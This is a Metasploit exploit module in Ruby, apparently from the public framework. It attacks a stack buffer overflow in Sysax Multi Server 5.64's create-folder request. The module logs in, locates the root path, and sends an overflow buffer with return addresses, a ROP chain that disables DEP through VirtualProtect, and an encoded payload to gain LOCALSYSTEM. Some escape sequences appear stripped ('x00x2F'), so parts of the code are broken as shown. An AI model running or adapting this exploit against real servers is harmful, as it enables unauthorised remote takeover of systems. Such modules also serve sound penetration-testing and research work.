##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::Remote::HttpClient

    def initialize(info = {})
        super(update_info(info,
            'Name'      => 'Sysax Multi Server 5.64 Create Folder Buffer Overflow',
            'Description'   => %q{
                This module exploits a stack buffer overflow in the create folder function
                in Sysax Multi Server 5.64. This issue was fixed in 5.66.
                
                You must have valid credentials to trigger the vulnerability. Your credentials
                must also have the create folder permission and the HTTP option has to be enabled.
                This module will log into the server, get your a SID token, find the root folder,
                and then proceed to exploit the server. Successful exploits result in LOCALSYSTEM 
                access. This exploit works on XP SP3, and Server 2003 SP1-SP2.
            },
            'License'   => MSF_LICENSE,
            'Author'    =>
                [
                    'Matt "hostess" Andreko',
                ],
            'References'    =>
                [
                    [ 'URL', 'http://www.mattandreko.com/2012/07/sysax-564-http-remote-buffer-overflow.html' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Platform'  => 'win',
            'Payload'   =>
                {
                    'BadChars'      => "x00x2Fx0dx0a", # 0d and 0a are only bad, due to the Rex::MIME replacing 0d with 0d0a in the message#to_s
                    'Space'         => '1299',
                    'DisableNops'   => true,
                },
 
            'Targets'       =>
                [
                    [ 'Windows XP SP3',
                        {
                            'Rop'       =>   false,
                            'Ret'       =>   0x77c35459, # push esp #  ret [msvcrt.dll]
                            'Offset'    =>    711, 
                        }
                    ],
                    [ 'Windows 2003 SP1-SP2 DEP & ASLR Bypass',
                        {
                            'Rop'       =>   true,
                            'Ret'       =>   0x77baf605, # pop esi; pop ebp; retn 0c; [msvcrt.dll] (pivot)
                            'Offset'    =>   711,
                            'Nop'       =>   0x77bd7d82, # RETN (ROP NOP) [msvcrt.dll]
                        }
                    ],
                ],
            'Privileged'    => false,
            'DisclosureDate'=> 'July 29, 2012',
            'DefaultTarget' => 0))
 
        register_options(
                [
                    OptString.new('TARGETURI', [true, 'The URI path to the Sysax web application', '/']),
                    Opt::RPORT(80),
                    OptString.new('SysaxUSER', [ true, "Username" ]),
                    OptString.new('SysaxPASS', [ true, "Password" ])
                ], self.class)

    end
 
    def create_rop_chain()
        rop_gadgets = []

        # ROP chains provided by Corelan.be
        # https://www.corelan.be/index.php/security/corelan-ropdb/#msvcrtdll_8211_v7037903959_Windows_2003_SP1_SP2 
        if (target == targets[1]) # Windows 2003
            rop_gadgets =
            [
                0x77be3adb, # POP EAX # RETN [msvcrt.dll]
                0x77ba1114, # ptr to &VirtualProtect() [IAT msvcrt.dll]
                0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN [msvcrt.dll]
                0x41414141, # Filler (compensate)
                0x77bb0c86, # XCHG EAX,ESI # RETN [msvcrt.dll]
                0x77bdb896, # POP EBP # RETN [msvcrt.dll]
                0x77be2265, # & push esp #  ret  [msvcrt.dll]
                0x77bdeebf, # POP EAX # RETN [msvcrt.dll]
                0x2cfe0668, # put delta into eax (-> put 0x00000201 into ebx)
                0x77bdfb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
                0x77bdfe37, # ADD EBX,EAX # OR EAX,3000000 # RETN [msvcrt.dll]
                0x77bdf0da, # POP EAX # RETN [msvcrt.dll]
                0x2cfe04a7, # put delta into eax (-> put 0x00000040 into edx)
                0x77bdfb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
                0x77bb8285, # XCHG EAX,EDX # RETN [msvcrt.dll]
                0x77bcc2ee, # POP ECX # RETN [msvcrt.dll]
                0x77befbb4, # &Writable location [msvcrt.dll]
                0x77bbf75e, # POP EDI # RETN [msvcrt.dll]
                0x77bd7d82, # RETN (ROP NOP) [msvcrt.dll]
                0x77bdf0da, # POP EAX # RETN [msvcrt.dll]
                0x90909090, # nop
                0x77be6591, # PUSHAD # ADD AL,0EF # RETN [msvcrt.dll]
            ].flatten.pack("V*")
        end

        return rop_gadgets

    end

    def get_sid

        user = datastore['SysaxUSER']
        pass = datastore['SysaxPASS']

        creds = "fd=#{Rex::Text.encode_base64(user+"x0a"+pass)}"

        # Login to get SID value
        r = send_request_cgi({
            'method' => "POST",
            'uri'    => "#{target_uri.to_s}scgi?sid=0&pid=dologin",
            'data'   => creds
            })

            # Parse response for SID token
            sid = r.body.match(/sid=([A-Z0-9a-z]{40})/)[1]
            print_status "SID: #{sid.to_s}"

            sid.to_s
            
    end

    def get_root_path(sid)

        # Find the path because it's used to help calculate the offset
        random_folder_name = rand_text_alpha(8) # This folder should not exist in the root dir

        r = send_request_cgi({
            'uri' => "#{target_uri.to_s}scgi?sid=#{sid}&pid=transferpage2_name1_#{random_folder_name}.htm",
            'method' => 'POST',
            })

            # Example message: invalid path: C:Documents and SettingsAdministratorDesktop9dk2hdh2.
            # Root Path should be C:Documents and SettingsAdministratorDesktop  (no trailing slash)
            root_path = r.body.match(/^invalid path: (.*)\#{random_folder_name}.$/)[1]
            print_status "Root Dir: #{root_path}"

            root_path

    end

    def exploit

        connect

        sid = get_sid
        root_path = get_root_path(sid)

        buffer = rand_text(target['Offset']-root_path.length)
        buffer << [target.ret].pack('V')

        if (target['Rop'])
            buffer << [target['Nop']].pack('V')*16
            buffer << create_rop_chain()
        end

        buffer << make_nops(15)
        buffer << payload.encoded

        post_data = Rex::MIME::Message.new
        post_data.add_part(buffer, nil, nil, "form-data; name="e2"")
        post_data.bound = rand_text_numeric(57) # example; "---------------------------12816808881949705206242427669"

        r = send_request_cgi({
            'uri'     => "#{target_uri.to_s}scgi?sid=#{sid}&pid=mk_folder2_name1.htm",
            'method'  => 'POST',
            'data'    => post_data.to_s,
            'ctype'   => "multipart/form-data; boundary=#{post_data.bound}",
            })

            disconnect

    end
end